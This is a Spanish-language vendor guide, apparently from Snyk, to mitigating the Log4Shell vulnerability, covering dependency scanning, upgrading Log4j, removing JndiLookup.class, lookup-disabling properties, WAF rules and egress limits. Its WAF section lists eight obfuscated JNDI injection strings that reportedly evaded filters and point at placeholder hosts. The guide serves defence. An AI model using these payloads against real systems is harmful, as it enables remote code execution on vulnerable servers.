Guía rápida para corregir Log4Shell

Nota del editor (28 de diciembre de 2021 a las 7:35 p. m. GMT): El equipo de Log4j publicó una nueva actualización de seguridad y descubrió que la versión 2.17.0 era vulnerable a la ejecución remota de código, identificada como CVE-2021-44832. Recomendamos actualizar a la versión más reciente, que en este momento es la 2.17.1. La situación de Log4j cambia rápidamente y actualizamos nuestros blogs a medida que hay nueva información disponible.

A estas alturas, todos hemos oído hablar de la vulnerabilidad Log4Shell. Esta guía rápida para corregir Log4Shell resume las principales soluciones y recomendaciones que se están aplicando para limitar la exposición a la vulnerabilidad y reducir el riesgo de que se explote en sistemas de producción. Ten en cuenta que este documento se actualiza continuamente a medida que hay nueva información disponible. Compártelo con la comunidad para que todos sepan cómo pueden mitigar activamente este problema desde ahora.

En esta publicación, exploraremos estas recomendaciones de mitigación:

1. Obtén visibilidad identificando dónde usan Log4j tus aplicaciones

2. Actualiza a Log4j 2.17.1 o una versión posterior

3. Elimina la capacidad de búsqueda de Log4j

4. Desactiva las búsquedas mediante propiedades

5. Actualizar tu JDK no es suficiente

6. Monitorea proyectos con la función de PR automática

7. Agrega reglas de WAF para bloquear solicitudes maliciosas entrantes

8. Restringe el tráfico saliente a Internet

Descarga la guía rápida para corregir Log4Shell

1. Obtén visibilidad identificando dónde usa Log4j tu aplicación

Uno de los mayores desafíos actuales es entender en qué partes de nuestros entornos de producción se está incorporando Log4j. Puede llegar directamente a nuestras aplicaciones o de forma transitiva, a través de las dependencias que usamos. Por eso, el primer paso es identificar si usas Log4j y dónde. Ten en cuenta que es muy probable que lo estés usando sin saberlo.

Puedes usar Snyk para ejecutar un análisis completo de todos tus proyectos en los repositorios de Git y obtener un informe de todas las dependencias directas y transitivas que usas. En este informe, verás si estás incorporando Log4j y cuántas rutas del grafo de dependencias lo usan. Ten en cuenta que todo esto está disponible en el plan gratuito de autoservicio de Snyk, así que puedes empezar de inmediato.

Actualización: Snyk CLI tiene un nuevo comando diseñado para una sola tarea: encontrar rastros de la biblioteca Log4j afectada por la vulnerabilidad Log4Shell. snyk log4shell analiza tu proyecto Java compilado y encuentra rastros de la biblioteca vulnerable, incluso si no está declarada en los archivos de manifiesto. Descubre qué es snyk log4shell y cómo usarlo en tus proyectos.

Como alternativa, puedes usar un método más manual y ejecutar mvn dependency:tree | grep log4j en tus proyectos Maven para identificar dónde se usa Log4j en el árbol de dependencias de cada proyecto.

2. Actualiza a Log4j 2.17.1 o una versión posterior

Nota importante: Actualizar a la versión 2.17.1 corregirá CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 y CVE-2021-44832.

El equipo de Log4j incluyó varias correcciones de vulnerabilidades en la versión 2.17.1 de Log4j. Además, desactivó la funcionalidad JNDI de forma predeterminada a partir de la versión 2.16. Siempre que sea posible, actualiza de inmediato a la versión 2.17.1 o posterior. Sin embargo, suele ser más fácil decirlo que hacerlo. Si incorporas Log4j a tus proyectos como dependencia directa, actualizar podría ser bastante sencillo. Si se agrega como dependencia transitiva —por ejemplo, si usas una dependencia que utiliza Log4j—, tendrás que actualizar esa dependencia a una versión que use Log4j 2.17.1. Como esta vulnerabilidad es muy reciente, el ecosistema tardará un tiempo en actualizar otras dependencias e incluir esta versión corregida de Log4j. Mientras tanto, debemos mitigar el riesgo de otras maneras.

Nota: Si hiciste pruebas con Snyk en el paso 1, podrás actualizar automáticamente cuando sea posible. Para hacerlo, haz clic en Open a PR, que te llevará a la versión corregida más cercana de Log4j (al momento de escribir esto, 2.17.1) o de otras dependencias directas que usen Log4j.

Si usas Gradle, puedes evitar que tu proyecto resuelva accidentalmente una versión vulnerable de Log4j mediante la función de restricciones de dependencias. Agrega el siguiente fragmento a la compilación de Gradle para asegurarte de que el proyecto no resuelva una versión de Log4j afectada (consulta este blog de Gradle para obtener más información):

1dependencies {
2    constraints {
3        implementation("org.apache.logging.log4j:log4j-core") {
4            version {
5                strictly("[2.15, 3[")
6                prefer("2.15.0")
7            }
8            because("CVE-2021-44228: Log4j vulnerable to remote code execution")
9        }
10    }
11}

3. Elimina la capacidad de búsqueda de Log4j

Si no puedes actualizar —o quieres mitigar aún más el riesgo—, el siguiente paso es eliminar la capacidad de Log4j para realizar estas búsquedas. Esta funcionalidad está en JndiLookup.class en tus entornos de ejecución. Ten en cuenta que eliminarlo de los entornos en ejecución no es suficiente: también tendrás que reiniciar el entorno JVM. Por ejemplo, si usas un servidor Tomcat, tendrás que detenerlo y volver a iniciarlo. Este es un ejemplo de comando para eliminar el archivo de clase de tu JAR:

1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

También es recomendable eliminar al mismo tiempo otras clases que podrían utilizarse en este tipo de ataque o en ataques similares. Estos archivos incluyen JndiManager, JMSAppender y SMTPAppender. Ten en cuenta que eliminar clases de un entorno de ejecución podría provocar un comportamiento inesperado.

4. Desactiva las búsquedas mediante propiedades

Otra forma de desactivar las búsquedas mediante programación en Log4j, en las versiones 2.10 o posteriores, es establecer la propiedad del sistema LOG4J_FORMAT_MSG_NO_LOOKUPS en true o definir una variable de entorno: Dlog4j2.formatMsgNoLookups=true. Log4j usa estas variables para determinar si debe realizar búsquedas.

Al igual que al eliminar archivos de Log4j, estos cambios requieren reiniciar la JVM. Por ejemplo, es posible que tengas que detener y volver a iniciar el servidor Tomcat para que se apliquen las nuevas propiedades.

Ten en cuenta que se descubrió que este método solo ofrece una solución parcial.

5. Actualizar tu JDK no es suficiente

Aunque las recomendaciones iniciales indicaban que actualizar el JDK podía mitigar la vulnerabilidad, más adelante se demostró que no era eficaz contra ella. Esto incluye establecer com.sun.jndi.ldap.object.trustURLCodebase en false.

6. Monitorea proyectos con la función de PR automática

Como esta vulnerabilidad de día cero cambia a diario, es importante asegurarnos de contar con la mayor protección posible de ahora en adelante. Si usas Snyk, asegúrate de mantener tus proyectos monitoreados (esta función está habilitada de forma predeterminada al importar un repositorio a la aplicación de Snyk). Esto significa que Snyk probará tus proyectos automáticamente todos los días, además de las otras pruebas que ejecuta cuando haces cambios.

Estas pruebas diarias identificarán automáticamente cuándo se pueden aplicar mejoras de seguridad, incluidas nuevas correcciones. Por ejemplo, si usas Log4j como dependencia transitiva del package A, necesitarás que el package A publique una versión que use Log4j 2.17.1. Es posible que esa versión no esté disponible hoy, pero que se publique mañana o la próxima semana. Si usas snyk monitor, Snyk realizará pruebas diarias por ti y te enviará una PR cuando esté disponible la nueva actualización, que actualizará la versión de Log4j para corregir la vulnerabilidad.

También es importante tener en cuenta que Snyk te avisará, mediante PR u otros mecanismos, si se publican más correcciones para esta vulnerabilidad o si se descubren futuros vectores de ataque que revelen nuevas vulnerabilidades. Así, serás de los primeros en saber qué hacer si surgen otros problemas.

7. Agrega reglas de WAF para bloquear solicitudes maliciosas entrantes

Hasta ahora, nos hemos centrado principalmente en la parte de la aplicación del proceso de corrección. Sin embargo, se pueden tomar otras medidas fuera de la aplicación para ayudar a mitigar el riesgo. Es posible agregar reglas de WAF para filtrar las solicitudes entrantes.

Ten en cuenta que no debes confiar únicamente en este método, ya que los atacantes crean nuevas cadenas de ataque cada hora que pueden evadir estas reglas. Quizá debas agregarlas manualmente, pero algunos proveedores de WAF, como CloudFlare, ya publicaron nuevas reglas para rechazar solicitudes que parecen ser ataques maliciosos contra esta vulnerabilidad. Estos son algunos ejemplos de intentos de ataque que lograron evadir las reglas:

1${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
2${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
3${jndi:rmi://adsasd.asdasd.asdasd}
4${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
5${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
6${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
7${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
8${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://%s}

8. Restringe el tráfico saliente a Internet

Las reglas de WAF restringen las solicitudes que llegan a tu aplicación, pero también es importante controlar las solicitudes que salen de ella para realizar estas solicitudes LDAP maliciosas a un servicio de nombres comprometido. Una solución es actualizar las políticas de salida, por ejemplo, mediante la configuración de Kubernetes u otros mecanismos de tu entorno, para restringir las solicitudes salientes que parezcan realizar búsquedas de nombres maliciosas desde Log4j.

Al igual que las reglas de WAF, esta no es una solución infalible, ya que es posible crear cargas útiles maliciosas incluso sin una solicitud de red LDAP externa (por ejemplo, en el caso descrito anteriormente con servidores Tomcat), mediante gadgets vulnerables.

¿Qué es esta nueva vulnerabilidad de día cero de Log4j?

La nueva vulnerabilidad se encontró en la biblioteca Java de código abierto `log4j-core`, un componente de uno de los frameworks de registro de Java más populares. Se clasificó como crítica, con una puntuación CVSS de 10 (la más alta posible). Al usar una versión vulnerable de Log4j, cualquier dato entrante que se registre puede provocar la ejecución remota de código.

¿Qué tan grave es la vulnerabilidad Log4Shell?

La respuesta sencilla es: «muy grave». Es una vulnerabilidad de seguridad crítica con una puntuación CVSS de 10 (la más alta posible) que permite a los atacantes ejecutar código de forma remota en entornos vulnerables. Es un problema serio que requiere medidas urgentes para corregirlo.

¿Cuándo se descubrió esta vulnerabilidad de Log4j?

La nueva vulnerabilidad de día cero de Log4j se divulgó el viernes 10 de diciembre de 2021.

¿Quién descubrió la vulnerabilidad de Log4j?

La vulnerabilidad fue descubierta por Chen Zhaojun, del equipo de seguridad en la nube de Alibaba.